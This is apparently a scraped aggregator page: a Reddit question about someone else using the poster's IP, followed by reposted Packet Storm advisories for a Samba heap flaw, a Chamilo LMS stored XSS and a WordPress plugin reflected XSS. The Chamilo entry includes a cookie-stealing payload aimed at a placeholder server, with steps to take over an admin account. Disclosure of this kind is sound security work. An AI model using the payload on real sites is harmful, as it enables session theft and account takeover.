hacking: security in practice
Can a hacker use your own IP adress to hack from?

Police contacted me telling me, someone hacked an instagram account from my IP adress and that I'm a suspect. Me being the only one that uses the wifi, wonder how did that happen??

submitted by /u/Ognjen159
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Exploit Collector
Samba VFS Heap Out-Of-Bounds Read / Write

https://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png
All versions of Samba prior to 4.13.17 are vulnerable to an out-of-bounds heap read write vulnerability that allows remote attackers to execute arbitrary code as root on affected Samba installations that use the VFS module vfs_fruit.

MD5 | 06fcbc7e0777b32c642d00aaeef26159

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=================================================================
== Subject: Out-of-bounds heap read/write vulnerability
== in VFS module vfs_fruit allows code execution
==
== CVE ID#: CVE-2021-44142
==
== Versions: All versions of Samba prior to 4.13.17
==
== Summary: This vulnerability allows remote attackers to
== execute arbitrary code as root on affected Samba
== installations that use the VFS module vfs_fruit.
=================================================================

===========
Description
===========

All versions of Samba prior to 4.13.17 are vulnerable to an
out-of-bounds heap read write vulnerability that allows remote
attackers to execute arbitrary code as root on affected Samba
installations that use the VFS module vfs_fruit.

The specific flaw exists within the parsing of EA metadata when
opening files in smbd. Access as a user that has write access to a
file's extended attributes is required to exploit this
vulnerability. Note that this could be a guest or unauthenticated user
if such users are allowed write access to file extended attributes.

The problem in vfs_fruit exists in the default configuration of the
fruit VFS module using fruit:metadata=netatalk or fruit:resource=file.
If both options are set to different settings than the default values,
the system is not affected by the security issue.

==================
Patch Availability
==================

Patches addressing both these issues have been posted to:

https://www.samba.org/samba/security/

Additionally, Samba 4.13.17, 4.14.12 and 4.15.5 have been issued as
security releases to correct the defect. Samba administrators are
advised to upgrade to these releases or apply the patch as soon
as possible.

==================
CVSSv3 calculation
==================

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C

Base score 9.9.

==========
Workaround
==========

As a workaround remove the "fruit" VFS module from the list of
configured VFS objects in any "vfs objects" line in the Samba
configuration smb.conf.

Note that changing the VFS module settings fruit:metadata or
fruit:resource to use the unaffected setting causes all stored
information to be inaccessible and will make it appear to macOS
clients as if the information is lost.
=======
Credits
=======

Originally reported by Orange Tsai from DEVCORE.

Patches provided by Ralph Böhme of the Samba team.

==========================================================
== Our Code, Our Bugs, Our Responsibility.
== The Samba Team
==========================================================

Source:packetstormsecurity.com

Exploit Collector
Chamilo LMS 1.11.14 Cross Site Scripting / Account Takeover

https://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png
Chamilo LMS version 1.11.14 suffers from a persistent cross site scripting vulnerability.

MD5 | 2aec0cc4998138800d8ac868f08ddcb0

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# Exploit Title: Chamilo LMS 1.11.14 - Account Takeover
# Date: July 21 2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://chamilo.org
# Software Link: https://chamilo.org
# Version: Chamilo-lms-1.11.x
# Tested on: Chamilo-lms-1.11.x
# CVE: CVE-2021-37391
#Publication:
https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities
Description: A user without privileges in Chamilo LMS 1.11.x can send an
invitation message to another user, e.g., the administrator, through
main/social/search.php,
main/inc/lib/social.lib.php and steal cookies or execute arbitrary code on
the administration side via a stored XSS vulnerability via social network
the send invitation feature. .
CVE ID: CVE-2021-37391
CVSS: Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N
URL:
https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities

Affected parameter: send private message - text field
Payload: x
http://yourserver/?c='+document.cookie>
Steps to reproduce:
1. Navigate to the social network menu
2. Select the victim profile
3. Add the payload on the text field
4. Submit the request and wait for the payload execution

*Impact:* By using this vulnerability, an unprivileged user can steal
cookies from an admin account or force the administrator to create an
account with admin privileges with an HTTP 302 redirect.
*Mitigation*: Update the Chamilo to the latest version.
*Fix*:
https://github.com/chamilo/chamilo-lms/commit/de43a77049771cce08ea7234c5c1510b5af65bc8
Com os meus melhores cumprimentos,
--
*Pedro Tavares*
Founder and Editor-in-Chief at seguranca-informatica.pt
Co-founder of CSIRT.UBI
Creator of 0xSI_f33d <https:
seguranca-informatica.pt | @sirpedrotavares
<https:| 0xSI_f33d
<https:


Source:packetstormsecurity.com

Exploit Collector
WordPress Domain Check 1.0.16 Cross Site Scripting

https://2.bp.blogspot.com/-trS7d3JOSJY/WWlvYoSx4fI/AAAAAAAAIOo/ua-jTrS9avcHrliD3JJHs9ifWyf14eAUwCLcBGAs/s1600/h57.png
WordPress Domain Check plugin version 1.0.16 suffers from a cross site scripting vulnerability.

MD5 | a01b2666a24640021a89c1ff8fe3ec96

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# Exploit Title: WordPress Plugin Domain Check 1.0.16 - Reflected Cross-Site Scripting (XSS) (Authenticated)
# Date: 30-10-2021
# Exploit Author: Ceylan Bozogullarindan
# Author Webpage: https://bozogullarindan.com
# Vendor Homepage: https://domaincheckplugin.com/
# Software Link: https://wordpress.org/plugins/domain-check/
# Version: 1.0.16
# Tested on: Linux
# CVE: CVE-2021-24926 (https://wpscan.com/vulnerability/8cc7cbbd-f74f-4f30-9483-573641fea733)
# Description:

Domain Check is a Wordpress plugin that allows you to see what domains and SSL certificates are coming up for expiration and to quickly locate the coupons, coupon codes, and deals from your favorite sites before renewing.

An authenticated user is able to inject arbitrary Javascript or HTML code to the "Domain Check Profile" interface available in settings page of the plugin, due to incorrect sanitization of user-supplied data and achieve a Reflected Cross-Site Scripting attack against the administrators. The plugin versions prior to 1.0.16 are affected by this vulnerability.
The details of the discovery are given below.
# Steps To Reproduce:
1. Just visit the following page after signing in the administrator panel: http://vulnerable-wordpress-website/wp-admin/admin.php?page=domain-check-profile&domain=hacked.foo
2. The XSS will be triggered on the settings page.


Source:packetstormsecurity.com